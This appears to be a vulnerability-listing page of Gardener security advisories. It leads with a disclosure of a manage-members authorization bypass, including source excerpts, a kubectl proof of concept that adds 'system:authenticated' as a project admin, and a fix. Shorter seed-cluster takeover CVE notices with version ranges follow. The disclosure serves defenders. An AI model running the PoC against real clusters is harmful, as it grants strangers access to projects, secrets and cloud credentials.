See how gardener compares to other vendors in security performance
Overview The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access. Technical Details The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states: <img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />
However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true: go func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner rbacv1.Subject, userInfo user.Info) bool { if apiequality.Semantic.DeepEqual(oldMembers, members) { return false } if userIsOwner(userInfo, owner) { return false } var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members) // ... return !oldHumanUsers.Equal(newHumanUsers) } The isHumanUser() function at admission.go only matches Kind == "User": go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.
Steps to reproduce <img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" />
---
Proof of concept: 1. Verify current project membership and confirm the owner has manage-members permission: bash Project members before the test: $ kubectl get project local -o yaml members: - apiGroup: rbac.authorization.k8s.io kind: User name: admin-user role: admin roles: - owner
Confirm the owner CAN manage-members (expected) $ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user yes 2. Add a second admin user (test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members: bash After adding test-admin-user as admin (no uam role): $ kubectl get project local -o yaml members: - apiGroup: rbac.authorization.k8s.io kind: User name: admin-user role: admin roles: - owner - apiGroup: rbac.authorization.k8s.io kind: User name: test-admin-user role: admin
Confirm test-admin-user does NOT have manage-members $ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user no 3. Verify test-admin-user cannot add a human User member (the check works for Users): bash $ kubectl patch --as=test-admin-user project local --type=merge -p '{ "spec": { "members": [ { "kind": "User", "apiGroup": "rbac.authorization.k8s.io", "name": "new-human-user@example.com", "role": "viewer" } ] } }' Error from server (Forbidden): projects.core.gardener.cloud "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects" 4. Bypass the check by adding a Group subject instead: bash This should be denied but ISN'T - the manage-members check is bypassed $ kubectl patch project local --as=test-admin-user --type=json -p '[ { "op": "add", "path": "/spec/members/-", "value": { "kind": "Group", "apiGroup": "rbac.authorization.k8s.io", "name": "system:authenticated", "role": "admin", "roles": ["admin"] } } ]'
project.core.gardener.cloud/local patched 5. Verify the Group was added to project members: bash $ kubectl get project local -o yaml members: - apiGroup: rbac.authorization.k8s.io kind: User name: admin-user role: admin roles: - owner - apiGroup: rbac.authorization.k8s.io kind: User name: test-admin-user role: admin - apiGroup: rbac.authorization.k8s.io kind: Group name: system:authenticated role: admin 6. Demonstrate the impact - any authenticated user now has project access: bash As a random user $ kubectl --as=random-user@example.com get shoots -n garden-local NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m Note: random-user@example.com does not exist as a real user. However, the Kubernetes --as global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the system:authenticated group. Since system:authenticated was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.
--- Security Impact - Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including system:authenticated (all authenticated users) or system:unauthenticated (all unauthenticated users). Patching & Remediation 1. Fix isHumanUser() to include Groups: The function should match the documented behavior. Change: go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } To: go func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }
Impact
A security vulnerability was discovered in Gardener when Terraformer is used for infrastructure provisioning. This vulnerability could allow a user with administrative privileges for a Gardener project to obtain control over the seed cluster where the shoot cluster is managed.
This CVE affects all Gardener installations where Terraformer is used/can be enabled for infrastructure provisioning with any of the affected components mentioned below.
Affected Components • gardener-extension-provider-gcp • gardener-extension-provider-azure • gardener-extension-provider-openstack • gardener-extension-provider-aws
Affected Versions • gardener-extension-provider-gcp < v1.46.0 • gardener-extension-provider-azure < v1.55.0 • gardener-extension-provider-openstack < v1.49.0 • gardener-extension-provider-aws < v1.64.0
Fixed versions • gardener-extension-provider-gcp >= v1.46.0 • gardener-extension-provider-azure >= v1.55.0 • gardener-extension-provider-openstack >= v1.49.0 • gardener-extension-provider-aws >= v1.64.0
How do I mitigate this vulnerability? Update to a fixed version.
A security vulnerability was discovered in the gardenlet component of Gardener. It could allow a user with administrative privileges for a Gardener project to obtain control over the seed cluster(s) where their shoot clusters are managed.
Am I Vulnerable?
This CVE affects all Gardener installations where https://github.com/gardener/gardener-extension-provider-gcp is in use.
Affected Components
- gardener/gardener (gardenlet)
Affected Versions
- < v1.116.4 - < v1.117.5 - < v1.118.2 - < v1.119.0
Fixed Versions
- >= v1.116.4 - >= v1.117.5 - >= v1.118.2 - >= v1.119.0
How do I mitigate this vulnerability?
Update to a fixed version.
A security vulnerability was discovered in Gardener that could allow a user with administrative privileges for a Gardener project to obtain control over the seed cluster(s) where their shoot clusters are managed.
Am I Vulnerable?
This CVE affects all Gardener installations no matter of the public cloud provider(s) used for the seed clusters/shoot clusters.
Affected Components
- gardener/gardener
Affected Versions
- < v1.116.4 - < v1.117.5 - < v1.118.2 - < v1.119.0
Fixed Versions
- >= v1.116.4 - >= v1.117.5 - >= v1.118.2 - >= v1.119.0
How do I mitigate this vulnerability?
Update to a fixed version.
A security vulnerability was discovered in Gardener that could allow a user with administrative privileges for a Gardener project or a user with administrative privileges for a shoot cluster, including administrative privileges for a single namespace of the shoot cluster, to obtain control over the seed cluster where the shoot cluster is managed.
Am I Vulnerable?
This CVE affects all Gardener installations no matter of the public cloud provider(s) used for the seed clusters/shoot clusters.
Affected Components
- gardener/external-dns-management
Affected Versions
- < 0.23.6
Fixed Versions
- >= 0.23.6
Important
The external-dns-management component may also be deployed on the seeds by the https://github.com/gardener/gardener-extension-shoot-dns-service extension when the extension is enabled. In this case, all versions of the shoot-dns-service extension <= v1.60.0 are affected by this vulnerability.
How do I mitigate this vulnerability?
Update to a fixed version.
In Gardener before 0.20.0, incorrect access control in seed clusters allows information disclosure by sending HTTP GET requests from one's own shoot clusters to foreign shoot clusters. This occurs because traffic from shoot to seed via the VPN endpoint is not blocked.
Following the Gardener architecture, the Kubernetes apiserver of a Gardener managed shoot cluster resides in the corresponding seed cluster. Due to missing network isolation a shoot's apiserver can access services/endpoints in the private network of its corresponding seed cluster. Combined with other minor Kubernetes security issues, the missing network isolation theoretically can lead to compromise other shoot or seed clusters in the "Gardener" context. The issue is rated high due to the high impact of a potential exploitation in "Gardener" context. This was fixed in Gardener release 0.12.4.